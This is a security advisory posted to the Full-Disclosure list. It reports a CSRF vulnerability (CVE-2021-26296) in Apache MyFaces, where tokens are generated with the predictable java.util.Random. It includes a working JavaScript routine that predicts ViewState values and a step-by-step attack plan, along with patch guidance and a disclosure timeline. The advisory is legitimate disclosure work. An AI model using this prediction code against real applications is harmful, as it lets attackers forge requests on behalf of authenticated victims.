lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <VI1PR0402MB3823D0DB26485F3163D0AB3986849@VI1PR0402MB3823.eurprd04.prod.outlook.com>
Date: Fri, 19 Feb 2021 09:56:28 +0000
From: Certitude - Advisories <advisories@...titude.consulting>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] [CSA-2021-001] Cross-Site Request Forgery in Apache MyFaces

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~                Ceritude Securiy Advisory - CSA-2021-001                   ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
 PRODUCT          : Apache MyFaces
 VENDOR           : The Apache Software Foundation
 SEVERITY         : High
 AFFECTED VERSION : <=2.2.13, <=2.3.7, <=2.3-next-M4, <=2.1 branches
 IDENTIFIERS      : CVE-2021-26296
 PATCH VERSION    : 2.2.14, 2.3.8, 2.3-next-M5, 3.0.0
 FOUND BY         : Wolfgang Ettlinger, Certitude Lab
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Introduction
------------

Apache MyFaces is an open-source implementation of JSF. During a quick
evaluation, Certitude found that the default CSRF protection of Apache MyFaces
was insufficient as the CSRF tokens the framework generates can be guessed by
an attacker.

Moreover, the patch provided by the Apache MyFaces maintainers affects the way
channel tokens for websocket communication are generated. It is unclear,
whether this change fixes a vulnerability.

Vulnerability Overview
----------------------

Applications that employ the MyFaces JSF framework transmit a parameter
"javax.faces.ViewState" with every state-modifying request. Though not
intended for CSRF protection, in the default configuration this parameter
prevents trivial attacks, as it is sufficiently long and tied to a single
session.

However, by default, this value is generated using the insecure random number
generator `java.util.Random`. An attacker can therefore obtain a ViewState
parameter from the application and, based on this value, predict the random
part of ViewState parameters subsequently issued to other users. Besides the
random string, the ViewState parameter contains a sequence number. As the
initial value of the per-session sequence counter is 1, an attacker can very
easily guess this value.

As the ViewState parameter is the sole CSRF protection, knowledge of this
value allows an attacker to conduct CSRF attacks.

When Apache MyFaces is used in client-side saving mode, the ViewState
parameter is insufficient to protect against CSRF. Instead, pages that require
protection against CSRF can be marked as "protected-pages". For these pages,
Apache MyFaces requires CSRF token for each request ("javax.faces.Token"). By
default, the CSRF token too is generated using `java.util.Random`, thus
allowing an attacker to bypass the CSRF protection.

NOTE: Besides the ViewState parameter and the CSRF token, Apache MyFaces also
introduced a cryptographically secure random number generator for the
websocket channel token. Certitude has not verified if this change fixes a
vulnerability.

Proof of Concept
----------------

By default, the class
`org.apache.myfaces.application.viewstate.RandomKeyFactory` is used to
generate ViewState parameter values. This class uses the method
`java.util.Random#nextBytes` as well as a per-session counter value to
generate ViewState strings.

The following JavaScript snippet demonstrates the generation of the random
part of a ViewState value based on the random part of a previously issued
ViewState parameter:

``` {.javascript}
const multiplier = 0x5DEECE66Dn;
const addend = 0xBn;
const mask = (1n << 48n) - 1n;

const unbyte = (bytes, offset) => BigInt(
    Array.from(bytes.slice(offset, offset + 4))
    .map((b, i) => b << (8 * i))
    .reduce((a, b) => a + b));

const longify = n => integer(n, 8n);
const intify = n => integer(n, 4n);
const byteify = n => integer(n, 1n);

function integer(n, len) {
    const bits = len * 8n;
    const hspan = 1n << (bits - 1n);
    return ((n + hspan) % (2n * hspan)) - hspan;
}

const hexToByteArray = s => (new Uint8Array(s.length / 2)
    .map((_, i) => (
        parseInt(s.charAt(2 * i), 16) << 4 |
        parseInt(s.charAt(2 * i + 1), 16))));

const byteArrayToHex = b => (Array.from(b)
    .map(x => (((x + 0x100).toString(16)).substr(-2)))
    .reduce((a, b) => a + b))
    .toUpperCase();

// based on https://github.com/fta2012/ReplicatedRandom/blob/master/ReplicatedRandom.java
function replicatedRandom(bytes) {
    let seed = 0;

    replicateState(
        unbyte(bytes, bytes.length - 8), 32n,
        unbyte(bytes, bytes.length - 4), 32n);

    return nextBytes(bytes.length);

    function replicateState(nextN, n, nextM, m) {
        const upperMOf48Mask = ((1n << m) - 1n) << (48n - m);
        const oldSeedUpperN = (nextN << (48n - n)) & mask;
        const newSeedUpperM = (nextM << (48n - m)) & mask;

        let possibilityCount = 0;

        for (let oldSeed = oldSeedUpperN;
                oldSeed <= (oldSeedUpperN | ((1n << (48n - n)) - 1n));
                oldSeed++) {
            const newSeed = longify(
                longify(oldSeed * multiplier + addend) & mask);

            if ((newSeed & upperMOf48Mask) == newSeedUpperM) {
                possibilityCount++;
                seed = newSeed;
            }
        }

        if (possibilityCount != 1) throw new Error('replicateState failed');
    }

    function next(bits) {
        seed = longify(longify(seed * multiplier + addend) & mask);
        return intify(seed >> (48n - bits));
    }

    function nextBytes(count) {
        const res = new Int8Array(count);

        for (let i = 0; i < count; ) {
            let rnd = next(32n);
            for (let n = Math.min(count - i, 4); n > 0; n--) {
                res[i++] = parseInt(byteify(rnd));
                rnd >>= 8n;
            }
        }

        return res;
    }
}
```

An attacker can exploit this issue as follows:

1.  An attacker lures an authenticated victim to an attacker-controlled
    website.
2.  As the victim opens the website, the attacker requests a ViewState value
    from the application.
3.  The exploit script opens the target JSF page e.g. in an iframe. For this
    page, the vulnerable application generates a new random ViewState value.
4.  The attacker now predicts a number of the random strings based on the
    ViewState value received in step 2. As the victim's ViewState value is
    generated just after the attacker's ViewState value, it is very likely,
    that the victim's ViewState value is among the generated ones.
5.  The exploit script sends several CSRF requests containing combinations of
    predicted random strings and sequence numbers. If guessed correctly, the
    vulnerable application accepts the attacker's request.

A similar approach is possible to attack protected pages. Unlike the ViewState
values, the CSRF token generated, however, do not contain a sequence counter.

Resolution
----------

The Apache MyFaces maintainers have released a patch that addresses the
identified issue. Certitude recommends affected organizations to immediately
upgrade to version 2.2.14, 2.3.8, 2.3-next-M5 or 3.0.0. If an upgrade to the
latest version is not possible, the Apache MyFaces maintainers recommend
setting the following settings to "secureRandom":

-   org.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN
-   org.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN
-   org.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN

Note that the patch introduces changes in the way websocket channel tokens are
generated. Certitude therefore recommends applying the patch or workaround to
all applications that use Apache MyFaces, even if CSRF attacks are of no
concern.

Timeline
--------

  ---------------------------------------------------------------------------
  Date         Text
  ------------ --------------------------------------------------------------
  2020-12-15   Sending encrypted vulnerability description and proof of
               concept script to the Apache security team

  2020-12-15   Apache security team acknowledges receipt

  2020-12-28   Apache MyFaces team member requests proof of concept script

  2021-01-04   Asking for encrypted communication channel

  2021-01-04   Vendor provides PGP key

  2021-01-05   Sending encrypted proof of concept

  2021-01-07   Vendor requests more information about the PoC

  2021-01-08   Providing requested information

  2021-01-19   Coordination call with vendor

  2021-01-26   Coordination call with vendor

  2021-02-02   Coordination call with vendor, release of patches is imminent

  2021-02-09   Coordination call with vendor, 3 of 4 patches have been
               released

  2021-02-15   Coordination call with vendor, last patch release is in
               progress

  2021-02-19   Public release of the advisory
  ---------------------------------------------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                                           (c) 2021 Certitude Consulting GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ